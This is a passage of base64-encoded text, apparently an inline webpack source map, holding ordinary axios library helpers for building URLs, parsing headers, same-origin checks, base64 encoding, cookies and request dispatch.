QgdXJsXG4gKi9cbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gYnVpbGRVUkwodXJsLCBwYXJhbXMsIHBhcmFtc1NlcmlhbGl6ZXIpIHtcbiAgLyplc2xpbnQgbm8tcGFyYW0tcmVhc3NpZ246MCovXG4gIGlmICghcGFyYW1zKSB7XG4gICAgcmV0dXJuIHVybDtcbiAgfVxuXG4gIHZhciBzZXJpYWxpemVkUGFyYW1zO1xuICBpZiAocGFyYW1zU2VyaWFsaXplcikge1xuICAgIHNlcmlhbGl6ZWRQYXJhbXMgPSBwYXJhbXNTZXJpYWxpemVyKHBhcmFtcyk7XG4gIH0gZWxzZSBpZiAodXRpbHMuaXNVUkxTZWFyY2hQYXJhbXMocGFyYW1zKSkge1xuICAgIHNlcmlhbGl6ZWRQYXJhbXMgPSBwYXJhbXMudG9TdHJpbmcoKTtcbiAgfSBlbHNlIHtcbiAgICB2YXIgcGFydHMgPSBbXTtcblxuICAgIHV0aWxzLmZvckVhY2gocGFyYW1zLCBmdW5jdGlvbiBzZXJpYWxpemUodmFsLCBrZXkpIHtcbiAgICAgIGlmICh2YWwgPT09IG51bGwgfHwgdHlwZW9mIHZhbCA9PT0gJ3VuZGVmaW5lZCcpIHtcbiAgICAgICAgcmV0dXJuO1xuICAgICAgfVxuXG4gICAgICBpZiAodXRpbHMuaXNBcnJheSh2YWwpKSB7XG4gICAgICAgIGtleSA9IGtleSArICdbXSc7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICB2YWwgPSBbdmFsXTtcbiAgICAgIH1cblxuICAgICAgdXRpbHMuZm9yRWFjaCh2YWwsIGZ1bmN0aW9uIHBhcnNlVmFsdWUodikge1xuICAgICAgICBpZiAodXRpbHMuaXNEYXRlKHYpKSB7XG4gICAgICAgICAgdiA9IHYudG9JU09TdHJpbmcoKTtcbiAgICAgICAgfSBlbHNlIGlmICh1dGlscy5pc09iamVjdCh2KSkge1xuICAgICAgICAgIHYgPSBKU09OLnN0cmluZ2lmeSh2KTtcbiAgICAgICAgfVxuICAgICAgICBwYXJ0cy5wdXNoKGVuY29kZShrZXkpICsgJz0nICsgZW5jb2RlKHYpKTtcbiAgICAgIH0pO1xuICAgIH0pO1xuXG4gICAgc2VyaWFsaXplZFBhcmFtcyA9IHBhcnRzLmpvaW4oJyYnKTtcbiAgfVxuXG4gIGlmIChzZXJpYWxpemVkUGFyYW1zKSB7XG4gICAgdXJsICs9ICh1cmwuaW5kZXhPZignPycpID09PSAtMSA/ICc/JyA6ICcmJykgKyBzZXJpYWxpemVkUGFyYW1zO1xuICB9XG5cbiAgcmV0dXJuIHVybDtcbn07XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9heGlvcy9saWIvaGVscGVycy9idWlsZFVSTC5qc1xuLy8gbW9kdWxlIGlkID0gMTY4XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiJ3VzZSBzdHJpY3QnO1xuXG52YXIgdXRpbHMgPSByZXF1aXJlKCcuLy4uL3V0aWxzJyk7XG5cbi8vIEhlYWRlcnMgd2hvc2UgZHVwbGljYXRlcyBhcmUgaWdub3JlZCBieSBub2RlXG4vLyBjLmYuIGh0dHBzOi8vbm9kZWpzLm9yZy9hcGkvaHR0cC5odG1sI2h0dHBfbWVzc2FnZV9oZWFkZXJzXG52YXIgaWdub3JlRHVwbGljYXRlT2YgPSBbXG4gICdhZ2UnLCAnYXV0aG9yaXphdGlvbicsICdjb250ZW50LWxlbmd0aCcsICdjb250ZW50LXR5cGUnLCAnZXRhZycsXG4gICdleHBpcmVzJywgJ2Zyb20nLCAnaG9zdCcsICdpZi1tb2RpZmllZC1zaW5jZScsICdpZi11bm1vZGlmaWVkLXNpbmNlJyxcbiAgJ2xhc3QtbW9kaWZpZWQnLCAnbG9jYXRpb24nLCAnbWF4LWZvcndhcmRzJywgJ3Byb3h5LWF1dGhvcml6YXRpb24nLFxuICAncmVmZXJlcicsICdyZXRyeS1hZnRlcicsICd1c2VyLWFnZW50J1xuXTtcblxuLyoqXG4gKiBQYXJzZSBoZWFkZXJzIGludG8gYW4gb2JqZWN0XG4gKlxuICogYGBgXG4gKiBEYXRlOiBXZWQsIDI3IEF1ZyAyMDE0IDA4OjU4OjQ5IEdNVFxuICogQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uXG4gKiBDb25uZWN0aW9uOiBrZWVwLWFsaXZlXG4gKiBUcmFuc2Zlci1FbmNvZGluZzogY2h1bmtlZFxuICogYGBgXG4gKlxuICogQHBhcmFtIHtTdHJpbmd9IGhlYWRlcnMgSGVhZGVycyBuZWVkaW5nIHRvIGJlIHBhcnNlZFxuICogQHJldHVybnMge09iamVjdH0gSGVhZGVycyBwYXJzZWQgaW50byBhbiBvYmplY3RcbiAqL1xubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiBwYXJzZUhlYWRlcnMoaGVhZGVycykge1xuICB2YXIgcGFyc2VkID0ge307XG4gIHZhciBrZXk7XG4gIHZhciB2YWw7XG4gIHZhciBpO1xuXG4gIGlmICghaGVhZGVycykgeyByZXR1cm4gcGFyc2VkOyB9XG5cbiAgdXRpbHMuZm9yRWFjaChoZWFkZXJzLnNwbGl0KCdcXG4nKSwgZnVuY3Rpb24gcGFyc2VyKGxpbmUpIHtcbiAgICBpID0gbGluZS5pbmRleE9mKCc6Jyk7XG4gICAga2V5ID0gdXRpbHMudHJpbShsaW5lLnN1YnN0cigwLCBpKSkudG9Mb3dlckNhc2UoKTtcbiAgICB2YWwgPSB1dGlscy50cmltKGxpbmUuc3Vic3RyKGkgKyAxKSk7XG5cbiAgICBpZiAoa2V5KSB7XG4gICAgICBpZiAocGFyc2VkW2tleV0gJiYgaWdub3JlRHVwbGljYXRlT2YuaW5kZXhPZihrZXkpID49IDApIHtcbiAgICAgICAgcmV0dXJuO1xuICAgICAgfVxuICAgICAgaWYgKGtleSA9PT0gJ3NldC1jb29raWUnKSB7XG4gICAgICAgIHBhcnNlZFtrZXldID0gKHBhcnNlZFtrZXldID8gcGFyc2VkW2tleV0gOiBbXSkuY29uY2F0KFt2YWxdKTtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIHBhcnNlZFtrZXldID0gcGFyc2VkW2tleV0gPyBwYXJzZWRba2V5XSArICcsICcgKyB2YWwgOiB2YWw7XG4gICAgICB9XG4gICAgfVxuICB9KTtcblxuICByZXR1cm4gcGFyc2VkO1xufTtcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2F4aW9zL2xpYi9oZWxwZXJzL3BhcnNlSGVhZGVycy5qc1xuLy8gbW9kdWxlIGlkID0gMTY5XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiJ3VzZSBzdHJpY3QnO1xuXG52YXIgdXRpbHMgPSByZXF1aXJlKCcuLy4uL3V0aWxzJyk7XG5cbm1vZHVsZS5leHBvcnRzID0gKFxuICB1dGlscy5pc1N0YW5kYXJkQnJvd3NlckVudigpID9cblxuICAvLyBTdGFuZGFyZCBicm93c2VyIGVudnMgaGF2ZSBmdWxsIHN1cHBvcnQgb2YgdGhlIEFQSXMgbmVlZGVkIHRvIHRlc3RcbiAgLy8gd2hldGhlciB0aGUgcmVxdWVzdCBVUkwgaXMgb2YgdGhlIHNhbWUgb3JpZ2luIGFzIGN1cnJlbnQgbG9jYXRpb24uXG4gIChmdW5jdGlvbiBzdGFuZGFyZEJyb3dzZXJFbnYoKSB7XG4gICAgdmFyIG1zaWUgPSAvKG1zaWV8dHJpZGVudCkvaS50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpO1xuICAgIHZhciB1cmxQYXJzaW5nTm9kZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTtcbiAgICB2YXIgb3JpZ2luVVJMO1xuXG4gICAgLyoqXG4gICAgKiBQYXJzZSBhIFVSTCB0byBkaXNjb3ZlciBpdCdzIGNvbXBvbmVudHNcbiAgICAqXG4gICAgKiBAcGFyYW0ge1N0cmluZ30gdXJsIFRoZSBVUkwgdG8gYmUgcGFyc2VkXG4gICAgKiBAcmV0dXJucyB7T2JqZWN0fVxuICAgICovXG4gICAgZnVuY3Rpb24gcmVzb2x2ZVVSTCh1cmwpIHtcbiAgICAgIHZhciBocmVmID0gdXJsO1xuXG4gICAgICBpZiAobXNpZSkge1xuICAgICAgICAvLyBJRSBuZWVkcyBhdHRyaWJ1dGUgc2V0IHR3aWNlIHRvIG5vcm1hbGl6ZSBwcm9wZXJ0aWVzXG4gICAgICAgIHVybFBhcnNpbmdOb2RlLnNldEF0dHJpYnV0ZSgnaHJlZicsIGhyZWYpO1xuICAgICAgICBocmVmID0gdXJsUGFyc2luZ05vZGUuaHJlZjtcbiAgICAgIH1cblxuICAgICAgdXJsUGFyc2luZ05vZGUuc2V0QXR0cmlidXRlKCdocmVmJywgaHJlZik7XG5cbiAgICAgIC8vIHVybFBhcnNpbmdOb2RlIHByb3ZpZGVzIHRoZSBVcmxVdGlscyBpbnRlcmZhY2UgLSBodHRwOi8vdXJsLnNwZWMud2hhdHdnLm9yZy8jdXJsdXRpbHNcbiAgICAgIHJldHVybiB7XG4gICAgICAgIGhyZWY6IHVybFBhcnNpbmdOb2RlLmhyZWYsXG4gICAgICAgIHByb3RvY29sOiB1cmxQYXJzaW5nTm9kZS5wcm90b2NvbCA/IHVybFBhcnNpbmdOb2RlLnByb3RvY29sLnJlcGxhY2UoLzokLywgJycpIDogJycsXG4gICAgICAgIGhvc3Q6IHVybFBhcnNpbmdOb2RlLmhvc3QsXG4gICAgICAgIHNlYXJjaDogdXJsUGFyc2luZ05vZGUuc2VhcmNoID8gdXJsUGFyc2luZ05vZGUuc2VhcmNoLnJlcGxhY2UoL15cXD8vLCAnJykgOiAnJyxcbiAgICAgICAgaGFzaDogdXJsUGFyc2luZ05vZGUuaGFzaCA/IHVybFBhcnNpbmdOb2RlLmhhc2gucmVwbGFjZSgvXiMvLCAnJykgOiAnJyxcbiAgICAgICAgaG9zdG5hbWU6IHVybFBhcnNpbmdOb2RlLmhvc3RuYW1lLFxuICAgICAgICBwb3J0OiB1cmxQYXJzaW5nTm9kZS5wb3J0LFxuICAgICAgICBwYXRobmFtZTogKHVybFBhcnNpbmdOb2RlLnBhdGhuYW1lLmNoYXJBdCgwKSA9PT0gJy8nKSA/XG4gICAgICAgICAgICAgICAgICB1cmxQYXJzaW5nTm9kZS5wYXRobmFtZSA6XG4gICAgICAgICAgICAgICAgICAnLycgKyB1cmxQYXJzaW5nTm9kZS5wYXRobmFtZVxuICAgICAgfTtcbiAgICB9XG5cbiAgICBvcmlnaW5VUkwgPSByZXNvbHZlVVJMKHdpbmRvdy5sb2NhdGlvbi5ocmVmKTtcblxuICAgIC8qKlxuICAgICogRGV0ZXJtaW5lIGlmIGEgVVJMIHNoYXJlcyB0aGUgc2FtZSBvcmlnaW4gYXMgdGhlIGN1cnJlbnQgbG9jYXRpb25cbiAgICAqXG4gICAgKiBAcGFyYW0ge1N0cmluZ30gcmVxdWVzdFVSTCBUaGUgVVJMIHRvIHRlc3RcbiAgICAqIEByZXR1cm5zIHtib29sZWFufSBUcnVlIGlmIFVSTCBzaGFyZXMgdGhlIHNhbWUgb3JpZ2luLCBvdGhlcndpc2UgZmFsc2VcbiAgICAqL1xuICAgIHJldHVybiBmdW5jdGlvbiBpc1VSTFNhbWVPcmlnaW4ocmVxdWVzdFVSTCkge1xuICAgICAgdmFyIHBhcnNlZCA9ICh1dGlscy5pc1N0cmluZyhyZXF1ZXN0VVJMKSkgPyByZXNvbHZlVVJMKHJlcXVlc3RVUkwpIDogcmVxdWVzdFVSTDtcbiAgICAgIHJldHVybiAocGFyc2VkLnByb3RvY29sID09PSBvcmlnaW5VUkwucHJvdG9jb2wgJiZcbiAgICAgICAgICAgIHBhcnNlZC5ob3N0ID09PSBvcmlnaW5VUkwuaG9zdCk7XG4gICAgfTtcbiAgfSkoKSA6XG5cbiAgLy8gTm9uIHN0YW5kYXJkIGJyb3dzZXIgZW52cyAod2ViIHdvcmtlcnMsIHJlYWN0LW5hdGl2ZSkgbGFjayBuZWVkZWQgc3VwcG9ydC5cbiAgKGZ1bmN0aW9uIG5vblN0YW5kYXJkQnJvd3NlckVudigpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24gaXNVUkxTYW1lT3JpZ2luKCkge1xuICAgICAgcmV0dXJuIHRydWU7XG4gICAgfTtcbiAgfSkoKVxuKTtcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2F4aW9zL2xpYi9oZWxwZXJzL2lzVVJMU2FtZU9yaWdpbi5qc1xuLy8gbW9kdWxlIGlkID0gMTcwXG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiJ3VzZSBzdHJpY3QnO1xuXG4vLyBidG9hIHBvbHlmaWxsIGZvciBJRTwxMCBjb3VydGVzeSBodHRwczovL2dpdGh1Yi5jb20vZGF2aWRjaGFtYmVycy9CYXNlNjQuanNcblxudmFyIGNoYXJzID0gJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky89JztcblxuZnVuY3Rpb24gRSgpIHtcbiAgdGhpcy5tZXNzYWdlID0gJ1N0cmluZyBjb250YWlucyBhbiBpbnZhbGlkIGNoYXJhY3Rlcic7XG59XG5FLnByb3RvdHlwZSA9IG5ldyBFcnJvcjtcbkUucHJvdG90eXBlLmNvZGUgPSA1O1xuRS5wcm90b3R5cGUubmFtZSA9ICdJbnZhbGlkQ2hhcmFjdGVyRXJyb3InO1xuXG5mdW5jdGlvbiBidG9hKGlucHV0KSB7XG4gIHZhciBzdHIgPSBTdHJpbmcoaW5wdXQpO1xuICB2YXIgb3V0cHV0ID0gJyc7XG4gIGZvciAoXG4gICAgLy8gaW5pdGlhbGl6ZSByZXN1bHQgYW5kIGNvdW50ZXJcbiAgICB2YXIgYmxvY2ssIGNoYXJDb2RlLCBpZHggPSAwLCBtYXAgPSBjaGFycztcbiAgICAvLyBpZiB0aGUgbmV4dCBzdHIgaW5kZXggZG9lcyBub3QgZXhpc3Q6XG4gICAgLy8gICBjaGFuZ2UgdGhlIG1hcHBpbmcgdGFibGUgdG8gXCI9XCJcbiAgICAvLyAgIGNoZWNrIGlmIGQgaGFzIG5vIGZyYWN0aW9uYWwgZGlnaXRzXG4gICAgc3RyLmNoYXJBdChpZHggfCAwKSB8fCAobWFwID0gJz0nLCBpZHggJSAxKTtcbiAgICAvLyBcIjggLSBpZHggJSAxICogOFwiIGdlbmVyYXRlcyB0aGUgc2VxdWVuY2UgMiwgNCwgNiwgOFxuICAgIG91dHB1dCArPSBtYXAuY2hhckF0KDYzICYgYmxvY2sgPj4gOCAtIGlkeCAlIDEgKiA4KVxuICApIHtcbiAgICBjaGFyQ29kZSA9IHN0ci5jaGFyQ29kZUF0KGlkeCArPSAzIC8gNCk7XG4gICAgaWYgKGNoYXJDb2RlID4gMHhGRikge1xuICAgICAgdGhyb3cgbmV3IEUoKTtcbiAgICB9XG4gICAgYmxvY2sgPSBibG9jayA8PCA4IHwgY2hhckNvZGU7XG4gIH1cbiAgcmV0dXJuIG91dHB1dDtcbn1cblxubW9kdWxlLmV4cG9ydHMgPSBidG9hO1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvYXhpb3MvbGliL2hlbHBlcnMvYnRvYS5qc1xuLy8gbW9kdWxlIGlkID0gMTcxXG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiJ3VzZSBzdHJpY3QnO1xuXG52YXIgdXRpbHMgPSByZXF1aXJlKCcuLy4uL3V0aWxzJyk7XG5cbm1vZHVsZS5leHBvcnRzID0gKFxuICB1dGlscy5pc1N0YW5kYXJkQnJvd3NlckVudigpID9cblxuICAvLyBTdGFuZGFyZCBicm93c2VyIGVudnMgc3VwcG9ydCBkb2N1bWVudC5jb29raWVcbiAgKGZ1bmN0aW9uIHN0YW5kYXJkQnJvd3NlckVudigpIHtcbiAgICByZXR1cm4ge1xuICAgICAgd3JpdGU6IGZ1bmN0aW9uIHdyaXRlKG5hbWUsIHZhbHVlLCBleHBpcmVzLCBwYXRoLCBkb21haW4sIHNlY3VyZSkge1xuICAgICAgICB2YXIgY29va2llID0gW107XG4gICAgICAgIGNvb2tpZS5wdXNoKG5hbWUgKyAnPScgKyBlbmNvZGVVUklDb21wb25lbnQodmFsdWUpKTtcblxuICAgICAgICBpZiAodXRpbHMuaXNOdW1iZXIoZXhwaXJlcykpIHtcbiAgICAgICAgICBjb29raWUucHVzaCgnZXhwaXJlcz0nICsgbmV3IERhdGUoZXhwaXJlcykudG9HTVRTdHJpbmcoKSk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAodXRpbHMuaXNTdHJpbmcocGF0aCkpIHtcbiAgICAgICAgICBjb29raWUucHVzaCgncGF0aD0nICsgcGF0aCk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAodXRpbHMuaXNTdHJpbmcoZG9tYWluKSkge1xuICAgICAgICAgIGNvb2tpZS5wdXNoKCdkb21haW49JyArIGRvbWFpbik7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoc2VjdXJlID09PSB0cnVlKSB7XG4gICAgICAgICAgY29va2llLnB1c2goJ3NlY3VyZScpO1xuICAgICAgICB9XG5cbiAgICAgICAgZG9jdW1lbnQuY29va2llID0gY29va2llLmpvaW4oJzsgJyk7XG4gICAgICB9LFxuXG4gICAgICByZWFkOiBmdW5jdGlvbiByZWFkKG5hbWUpIHtcbiAgICAgICAgdmFyIG1hdGNoID0gZG9jdW1lbnQuY29va2llLm1hdGNoKG5ldyBSZWdFeHAoJyhefDtcXFxccyopKCcgKyBuYW1lICsgJyk9KFteO10qKScpKTtcbiAgICAgICAgcmV0dXJuIChtYXRjaCA/IGRlY29kZVVSSUNvbXBvbmVudChtYXRjaFszXSkgOiBudWxsKTtcbiAgICAgIH0sXG5cbiAgICAgIHJlbW92ZTogZnVuY3Rpb24gcmVtb3ZlKG5hbWUpIHtcbiAgICAgICAgdGhpcy53cml0ZShuYW1lLCAnJywgRGF0ZS5ub3coKSAtIDg2NDAwMDAwKTtcbiAgICAgIH1cbiAgICB9O1xuICB9KSgpIDpcblxuICAvLyBOb24gc3RhbmRhcmQgYnJvd3NlciBlbnYgKHdlYiB3b3JrZXJzLCByZWFjdC1uYXRpdmUpIGxhY2sgbmVlZGVkIHN1cHBvcnQuXG4gIChmdW5jdGlvbiBub25TdGFuZGFyZEJyb3dzZXJFbnYoKSB7XG4gICAgcmV0dXJuIHtcbiAgICAgIHdyaXRlOiBmdW5jdGlvbiB3cml0ZSgpIHt9LFxuICAgICAgcmVhZDogZnVuY3Rpb24gcmVhZCgpIHsgcmV0dXJuIG51bGw7IH0sXG4gICAgICByZW1vdmU6IGZ1bmN0aW9uIHJlbW92ZSgpIHt9XG4gICAgfTtcbiAgfSkoKVxuKTtcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2F4aW9zL2xpYi9oZWxwZXJzL2Nvb2tpZXMuanNcbi8vIG1vZHVsZSBpZCA9IDE3MlxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIid1c2Ugc3RyaWN0JztcblxudmFyIHV0aWxzID0gcmVxdWlyZSgnLi8uLi91dGlscycpO1xuXG5mdW5jdGlvbiBJbnRlcmNlcHRvck1hbmFnZXIoKSB7XG4gIHRoaXMuaGFuZGxlcnMgPSBbXTtcbn1cblxuLyoqXG4gKiBBZGQgYSBuZXcgaW50ZXJjZXB0b3IgdG8gdGhlIHN0YWNrXG4gKlxuICogQHBhcmFtIHtGdW5jdGlvbn0gZnVsZmlsbGVkIFRoZSBmdW5jdGlvbiB0byBoYW5kbGUgYHRoZW5gIGZvciBhIGBQcm9taXNlYFxuICogQHBhcmFtIHtGdW5jdGlvbn0gcmVqZWN0ZWQgVGhlIGZ1bmN0aW9uIHRvIGhhbmRsZSBgcmVqZWN0YCBmb3IgYSBgUHJvbWlzZWBcbiAqXG4gKiBAcmV0dXJuIHtOdW1iZXJ9IEFuIElEIHVzZWQgdG8gcmVtb3ZlIGludGVyY2VwdG9yIGxhdGVyXG4gKi9cbkludGVyY2VwdG9yTWFuYWdlci5wcm90b3R5cGUudXNlID0gZnVuY3Rpb24gdXNlKGZ1bGZpbGxlZCwgcmVqZWN0ZWQpIHtcbiAgdGhpcy5oYW5kbGVycy5wdXNoKHtcbiAgICBmdWxmaWxsZWQ6IGZ1bGZpbGxlZCxcbiAgICByZWplY3RlZDogcmVqZWN0ZWRcbiAgfSk7XG4gIHJldHVybiB0aGlzLmhhbmRsZXJzLmxlbmd0aCAtIDE7XG59O1xuXG4vKipcbiAqIFJlbW92ZSBhbiBpbnRlcmNlcHRvciBmcm9tIHRoZSBzdGFja1xuICpcbiAqIEBwYXJhbSB7TnVtYmVyfSBpZCBUaGUgSUQgdGhhdCB3YXMgcmV0dXJuZWQgYnkgYHVzZWBcbiAqL1xuSW50ZXJjZXB0b3JNYW5hZ2VyLnByb3RvdHlwZS5lamVjdCA9IGZ1bmN0aW9uIGVqZWN0KGlkKSB7XG4gIGlmICh0aGlzLmhhbmRsZXJzW2lkXSkge1xuICAgIHRoaXMuaGFuZGxlcnNbaWRdID0gbnVsbDtcbiAgfVxufTtcblxuLyoqXG4gKiBJdGVyYXRlIG92ZXIgYWxsIHRoZSByZWdpc3RlcmVkIGludGVyY2VwdG9yc1xuICpcbiAqIFRoaXMgbWV0aG9kIGlzIHBhcnRpY3VsYXJseSB1c2VmdWwgZm9yIHNraXBwaW5nIG92ZXIgYW55XG4gKiBpbnRlcmNlcHRvcnMgdGhhdCBtYXkgaGF2ZSBiZWNvbWUgYG51bGxgIGNhbGxpbmcgYGVqZWN0YC5cbiAqXG4gKiBAcGFyYW0ge0Z1bmN0aW9ufSBmbiBUaGUgZnVuY3Rpb24gdG8gY2FsbCBmb3IgZWFjaCBpbnRlcmNlcHRvclxuICovXG5JbnRlcmNlcHRvck1hbmFnZXIucHJvdG90eXBlLmZvckVhY2ggPSBmdW5jdGlvbiBmb3JFYWNoKGZuKSB7XG4gIHV0aWxzLmZvckVhY2godGhpcy5oYW5kbGVycywgZnVuY3Rpb24gZm9yRWFjaEhhbmRsZXIoaCkge1xuICAgIGlmIChoICE9PSBudWxsKSB7XG4gICAgICBmbihoKTtcbiAgICB9XG4gIH0pO1xufTtcblxubW9kdWxlLmV4cG9ydHMgPSBJbnRlcmNlcHRvck1hbmFnZXI7XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9heGlvcy9saWIvY29yZS9JbnRlcmNlcHRvck1hbmFnZXIuanNcbi8vIG1vZHVsZSBpZCA9IDE3M1xuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIid1c2Ugc3RyaWN0JztcblxudmFyIHV0aWxzID0gcmVxdWlyZSgnLi8uLi91dGlscycpO1xudmFyIHRyYW5zZm9ybURhdGEgPSByZXF1aXJlKCcuL3RyYW5zZm9ybURhdGEnKTtcbnZhciBpc0NhbmNlbCA9IHJlcXVpcmUoJy4uL2NhbmNlbC9pc0NhbmNlbCcpO1xudmFyIGRlZmF1bHRzID0gcmVxdWlyZSgnLi4vZGVmYXVsdHMnKTtcbnZhciBpc0Fic29sdXRlVVJMID0gcmVxdWlyZSgnLi8uLi9oZWxwZXJzL2lzQWJzb2x1dGVVUkwnKTtcbnZhciBjb21iaW5lVVJMcyA9IHJlcXVpcmUoJy4vLi4vaGVscGVycy9jb21iaW5lVVJMcycpO1xuXG4vKipcbiAqIFRocm93cyBhIGBDYW5jZWxgIGlmIGNhbmNlbGxhdGlvbiBoYXMgYmVlbiByZXF1ZXN0ZWQuXG4gKi9cbmZ1bmN0aW9uIHRocm93SWZDYW5jZWxsYXRpb25SZXF1ZXN0ZWQoY29uZmlnKSB7XG4gIGlmIChjb25maWcuY2FuY2VsVG9rZW4pIHtcbiAgICBjb25maWcuY2FuY2VsVG9rZW4udGhyb3dJZlJlcXVlc3RlZCgpO1xuICB9XG59XG5cbi8qKlxuICogRGlzcGF0Y2ggYSByZXF1ZXN0IHRvIHRoZSBzZXJ2ZXIgdXNpbmcgdGhlIGNvbmZpZ3VyZWQgYWRhcHRlci5cbiAqXG4gKiBAcGFyYW0ge29iamVjdH0gY29uZmlnIFRoZSBjb25maWcgdGhhdCBpcyB0byBiZSB1c2VkIGZvciB0aGUgcmVxdWVzdFxuICogQHJldHVybnMge1Byb21pc2V9IFRoZSBQcm9taXNlIHRvIGJlIGZ1bGZpbGxlZFxuICovXG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIGRpc3BhdGNoUmVxdWVzdChjb25maWcpIHtcbiAgdGhyb3dJZkNhbmNlbGxhdGlvblJlcXVlc3RlZChjb25maWcpO1xuXG4gIC8vIFN1cHBvcnQgYmFzZVVSTCBjb25maWdcbiAgaWYgKGNvbmZpZy5iYXNlVVJMICYmICFpc0Fic29sdXRlVVJMKGNvbmZpZy51cmwpKSB7XG4gICAgY29uZmlnLnVybCA9IGNvbWJpbmVVUkxzKGNvbmZpZy5iYXNlVVJMLCBjb25maWcudXJsKTtcbiAgfVxuXG4gIC8vIEVuc3VyZSBoZWFkZXJzIGV4aXN0XG4gIGNvbmZpZy5oZWFkZXJzID0gY29uZmlnLmhlYWRlcnMgfHwge307XG5cbiAgLy8gVHJhbnNmb3JtIHJlcXVlc3QgZGF0YVxuICBjb25maWcuZGF0YSA9IHRyYW5zZm9ybURhdGEoXG4gICAgY29uZmlnLmRhdGEsXG4gICAgY29uZmlnLmhlYWRlcnMsXG4gICAgY29uZmlnLnRyYW5zZm9ybVJlcXVlc3RcbiAgKTtcblxuICAvLyBGbGF0dGVuIGhlYWRlcnNcbiAgY29uZmlnLmhlYWRlcnMgPSB1dGlscy5tZXJnZShcbiAgICBjb25maWcuaGVhZGVycy5jb21tb24gfHwge30sXG4gICAgY29uZmlnLmhlYWRlcnNbY29uZmlnLm1ldGhvZF0gfHwge30sXG4gICAgY29uZmlnLmhlYWRlcnMgfHwge31cbiAgKTtcblxuICB1dGlscy5mb3JFYWNoKFxuICAgIFsnZGVsZXRlJywgJ2dldCcsICdoZWFkJywgJ3Bvc3QnLCAncHV0JywgJ3BhdGNoJywgJ2NvbW1vbiddLFxuICAgIGZ1bmN0aW9uIGNsZWFuSGVhZGVyQ29uZmlnKG1ldGhvZCkge1xuICAgICAgZGVsZXRlIGNvbmZpZy5oZWFkZXJzW21ldGhvZF07XG4gICAgfVxuICApO1xuXG4gIHZhciBhZGFwdGVyID0gY29uZmlnLmFkYXB0ZXIgfHwgZGVmYXVsdHMuYWRhcHRlcjtcblxuICByZXR1cm4gYWRhcHRlcihjb25maWcpLnRoZW4oZnVuY3Rpb24gb25BZGFwdGVyUmVzb2x1dGlvbihyZXNwb25zZSkge1xuICAgIHRocm93SWZDYW5jZWxsYXRpb25SZXF1ZXN0ZWQoY29uZmlnKTtcblxuICAgIC8vIFRyYW5zZm9ybSByZXNwb25zZSBkYXRhXG4gICAgcmVzcG9uc2UuZGF0YSA9IHRyYW5zZm9ybURhdGEoXG4gICAgICByZXNwb25zZS5kYXRhLFxuICAgICAgcmVzcG9uc2UuaGVhZGVycyxcbiAgICAgIGNvbmZpZy50cmFuc2Zvcm1SZXNwb25zZVxuICAgICk7XG5cbiAgICByZXR1cm4gcmVzcG9uc2U7XG4gIH0sIGZ1bmN0aW9uIG9uQWRhcHRlclJlamVjdGlvbihyZWFzb24pIHtcbiAgICBpZiAoIWlzQ2FuY2VsKHJlYXNvbikpIHtcbiAgICAgIHRocm93SWZDYW5jZWxsYXRpb25SZXF1ZXN0ZWQoY29uZmlnKTtcblxuICAgICAgLy8gVHJhbnNmb3JtIHJlc3BvbnNlIGRhdGFcbiAgICAgIGlmIChyZWFzb24gJiYgcmVhc29uLnJlc3BvbnNlKSB7XG4gICAgICAgIHJlYXNvbi5yZXNwb25zZS5kYXRhID0gdHJhbnNmb3JtRGF0YShcbiAgICAgICAgICByZWFzb24ucmVzcG9uc2UuZGF0YSxcbiAgICAgICAgICByZWFzb24ucmVzcG9uc2UuaGVhZGVycyxcbiAgICAgICAgICBjb25maWcudHJhbnNmb3JtUmVzcG9uc2VcbiAgICAgICAgKTtcbiAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gUHJvbWlzZS5yZWplY3QocmVhc29uKTtcbiAgfSk7XG59O1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvYXhpb3MvbGliL2NvcmUvZGlzcGF0Y2hSZXF1ZXN0LmpzXG4vLyBtb2R1bGUgaWQgPSAxNzRcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIndXNlIHN0cmljdCc7XG5cbnZhciB1dGlscyA9IHJlcXVpcmUoJy4vLi4vdXRpbHMnKTtcblxuLyoqXG4gKiBUcmFuc2Zvc